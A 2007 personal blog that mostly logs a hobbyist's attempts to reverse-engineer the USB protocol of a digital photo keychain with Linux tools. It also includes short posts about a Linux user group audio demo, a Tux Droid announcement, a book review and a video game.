the big USB doh!
Thu, 12 Jul 2007 22:38:30 BST
good news everyone !
I had begun to lose hope with understanding the USB URBs from the digital image keychain, when I contacted this guy asking about his USB exploits.
He mentioned two key things, one: usblogdump loses endpoint identification and two that you can run usbsnoopyPro in WINE to review the data.
So first up I found I had been basing all my assumptions on the all the URBs using endpoint 0, but that was NOT TRUE, doh!
Then I went back to usbsnoopyPro and found it had a heck load more information and better labels than the text dumps, doh!
Armed with this new information I immediately started mapping the use of the endpoints (which I will not bore you with here).
A colleague noticed all the Hex on my screen and enquired what I was doing, I explained and added "I would be better off debugging the windows driver". 
A light went off in my head and I had a poke at the .INF and .SYS files to find references to MR97310, which turns out to be a known chipset in the GPHOTO2 world.
So there are a number of digital cameras using the Mars MR97310 chip that GPHOTO2 can interface too, and GPHOTO2 is well known as a user of libusb.
Although they are not the same the protocol used is very simular, I hope to be able to get the number of pictures in the keyring out very soon.
Oh, and I also found this handy document to aid my understanding of USB.


Audio Jack up at the Lug
Thu, 12 Jul 2007 22:10:49 BST
There was an amazing array of audio equipment at this months lug, from pre-amps to huge fluffy mics to drums and lutes!
David gave a very good demo of the Jack audio system in Linux which allows lots of music programs to connect to each other, from drum machines to sequencers to track makers to equalizers and effects systems.
Not to mention midi controlled keyboard and a cow bell !


Image Display Controller--Mars Semiconductor Corp. V1
Tue, 10 Jul 2007 22:09:15 BST
somewhere in all the URB packets is a message "Image Display Controller--Mars Semiconductor Corp. V1", but this message is in the form " m  a  a  a  a  a  a  a  a  a  a  a  a  a  a  a " for the 'a' in "Image" and then for each letter the first character of the data is the previous character followed by 15 duplicated characters.
Odd ? I have been reading more of the USB spec and it is not giving me the information I want, I am not sure I need any of this, so where are the commands I do want??


USB decoding ABORTS and RESETS
Thu, 05 Jul 2007 22:25:23 BST
After setting the configuration to 0x01 and the interface to 0x00 the stream of URBs run a number of ABORTS followed by a RESET. All this on the default endpoint 0x00
After the pipe is reset we get a proper pipe handle...
Then there are loads of BULK_OR_INTERRUPT_TRANSFER with various flags and settings, definitely polling.
I think I need to read more of the USB spec, even though it is soooo long.


usb decoding
Wed, 04 Jul 2007 22:00:35 BST
Those differing bytes were
00 00
80 00
00 01
80 01
00 02
a8 02
20 03
84 03
ef 03
which appear to be the 9 different configurations shown in the output from lsusb, as I can see a lot of other directly corresponding data.


slashdot submission for tux droid
Wed, 04 Jul 2007 21:34:58 BST
I ac submitted the following to slashdot, will they accept it ?
Tux Droid is finally on available for purchase as your hackable Linux fiendly desktop companion.
Wireless thanks to the fish, he(Tux is a 'he' right?) can talk (TTS), sing (audio streaming), rotate, flap, flash his eyes, react to touch (wing/head) comes with lots of Linux software like an IM announcer, email reader, weather reporter, VOIP and all the software is free (as in beer).
A large community supports both users who want to just plug & play and those who want to rewrite the firmware and create their own Tux Droid applications.
At only 79 euros it even comes with remote control that can act as a talking calculator, but does it run on Windows ? No
see it in action



more USB decoding, 1st ten URBs
Wed, 04 Jul 2007 21:32:21 BST
read more of the USB 2.0 spec and now I know things like "did you know that you can only have seven USB hubs in series" but nothing directly applicable to my project.
On the other hand I did grep the function or the URBs (thats USB packets to you) from my usbsnoopypro logs and nearly all of them are INTERRUPT checks, it seems all the packets are a simple repeated polling.
This was further proved by refining my bash skills and reducing the number of packets that are truly unique to just 138.
But before I tackle the big question I wanted to understand the first ten URBs that are generated when plugging in the device without any software running.
First off there are five distinct communications, one out going and one in coming.
GET_DESCRIPTOR_FROM_DEVICE
GET_DESCRIPTOR_FROM_DEVICE (repeat)
GET_DESCRIPTOR_FROM_DEVICE (different flags set)
SELECT_CONFIGURATION
SELECT_INTERFACE
An interface is a collection of endpoints in a configuration. A good example of a configuration is one with mains power and one without, the device may need to use slower speeds. The interface is like a function of the device, its a bit simplistic but a printer fax could have an interface for the printer and an interface for the fax, these in turn have multiple endpoint which are the options of communicating, i.e. send a message, send large data stream etc.
In the devices response to the third GET_DESCRIPTOR_FROM_DEVICE there was a load of data.
I am sure the USB will (eventually) tell me what it all means but I did note that it was repeating at 58 bytes and that only the 14th/15th bytes changed.


USB spec and eh ?
Tue, 03 Jul 2007 20:47:48 BST
Well I read the Linux Device driver chapter 13 and all it did is reinforce my view of how USB is "supposed" to work. So why did I end up with 65 thousand packets ? 
1500 for a simple connect interrogate number of free slots and disconnect ?
I have also started reading the official USB spec, only 650 pages.
642 to go :)


Book The Skein of Lament Chris Wooding
Mon, 02 Jul 2007 22:00:37 BST
While I am in a bloggy mood here is a book review.
a few years ago I read and enjoyed book one of Chris Wooding's "The Braided Path", so when I saw numbers two and three on amazon I jumped at the chance to continue the fantasy adventure.
"The Skein of Lament" continues Chris's outstanding story telling. I just love the way the story is SO strong and twisted, constantly weaving in and out of what you expect.
If you like fantasy like LotR then this story is for you, I can not wait until I read book three. But will I read it straight away or ponder something else first ?


Serious Sam completed with 150 lives no cheating
Mon, 02 Jul 2007 21:50:51 BST
Delays were also due to "Serious Sam" one of my xbox bargains, but I have now completed that (with 150 lives, no cheating).
Amazing game, I look forward to Serious Sam II which is in my unopened collection somewhere.
This game is seriously stupid, wave upon wave of mindless enemies silly power ups and secrets like the Ed209 that is embedded in a tree or the hidden detonator that destroys half the map.
Love it !


USB device driver 64 thousand files
Mon, 02 Jul 2007 21:47:03 BST
You maybe wondering why no more blogs on my USB project, well its a lot harder than it first appears, but I do not plan on giving up on it any time soon.
I took my 9 snoopy logs (that had been dumped to text) and split each file into a file for each packet.... 64 thousand files later....
A quick bit of Bash and I could half the average number of packets per capture from 3500 to 1800 using diff and missing out the first few lines that had the packet its in.
I found some great USB info in chapter 13 of the Linux Device Drivers, Third Edition
Use the link to openbook to save the entire chapter as a PDF.


9 interface descriptors each with a different bAlternatSetting and a different wMaxPacketSize value
Tue, 26 Jun 2007 21:32:00 BST
Ok I looked at the output from lsusb -v in more detail and it appears that most of it is duplicates.
There are 9 interface descriptors each with a different bAlternatSetting and a different wMaxPacketSize value, these go from 0 - 1007
0
128
256
384
512
680
800
900
1007
Those values are decimal.
There are 7 end points:
2 Bulk IN
2 Bulk OUT
1 Interrupt
2 Isochronous
The 9 interfaces above are on one of the Isochronous endpoints.
Interface descriptors, endpoints, isochronous wassits ?
No I do not really know what I am talking about but maybe as I get further into this project I will find out and let you know.


I hear by claim this device in the name of libusb
Mon, 25 Jun 2007 22:12:34 BST
That quick bit of code worked and I can now claim the device, but now what ?
lsusb -vreturns so much on this one device compared to the keyboard or mouse :S


Doh! those in USB input environments should not rmmod ohci_hcd
Sun, 24 Jun 2007 22:30:26 BST
Plugging and unplugging the KeyPic usb device from my Linux box caused the USB sub system to have an 'issue'. Everything else USB worked but the KeyPix gave read errors and was not even assigned a place in the /proc/bus/usb folders.
Sooo, I rmmod ohci_hcd as I did so I realised that my USB keyboard and mouse may be affected...
Two days later I ssh'd backing to the machine and added the module back in, and my keyboard and mouse were reborn.
Oh, I did try a PS2 keyboard but it would seem that it has to be there at boot as it was not recognised.


Keypic day 4 more strugle and strife
Fri, 22 Jun 2007 22:22:18 BST
Keypic Day 4:  Although its not in the docs 32mb is the limit for the Qemu TFTP server.
Installed the free ZIP program http://www.7-zip.org/ unpacked the usblogdump.tgz and created a new archive that is only 700k, transfers no problem.
Builds no problem, decodes snoopy logs no problem. 
just need to transfer these files out to the host machine surely that will be easy ?
Nope, TFTP server is one way. Windows has SMB shares so SMB should work, nope and all the tutorials are for connecting to Windows as the guest environment.
In the end I get a trial version of winimage and extract the files directly from the Qemu virtual hard disk. I could have also uploaded them to rapidshare, bitbucket etc.
The decoded plain text files are not easy to read and there lots of records, nothing makes and logical sense. For instance connecting the device and firing up the software gives 2000+ packets and all it does is read the number of images already on the device. Try it twice and get a different 2000+ packets.
Still I did find this nugget http://www.linuxjournal.com/article/7466 
USB support does not work for Qemu when windows is the host, so I tried vmware player but the play has no options and I did not want the hassle of the trial version.


keypic digital key ring and log run around
Wed, 20 Jun 2007 22:29:20 BST
Keypic Day3: need to analyse the USB logs from USBSnoopyPro.
One: open in GEdit, nope none ASCII
Two: reload .USBLog files back into snoopy and export as .XML, nope export function is flaker than a popular chocolate found added to ice cream cones.
Three: look for a convert, found USBLogDump. Linux only so install Qemu and DamnSmalLinux.
To get the USBLogDump file to the virtual machine make sure QEMU is run with internal TFTP server enabled, but DSL does not have TFTP client. Find one, downloaded it, no gcc so can not build it.
Add a build environment, build it start downloading the file, times out, set time out try again, times out and has only copied 32MB of a 40MB file. Set timeout to 99999 and go to a meeting at another office, come back 3 hours later, not finished, kill it and its still only 32MB, AGHHHhhhh.....!
Now its to late to load in on to me Gentoo box, maybe tomorrow....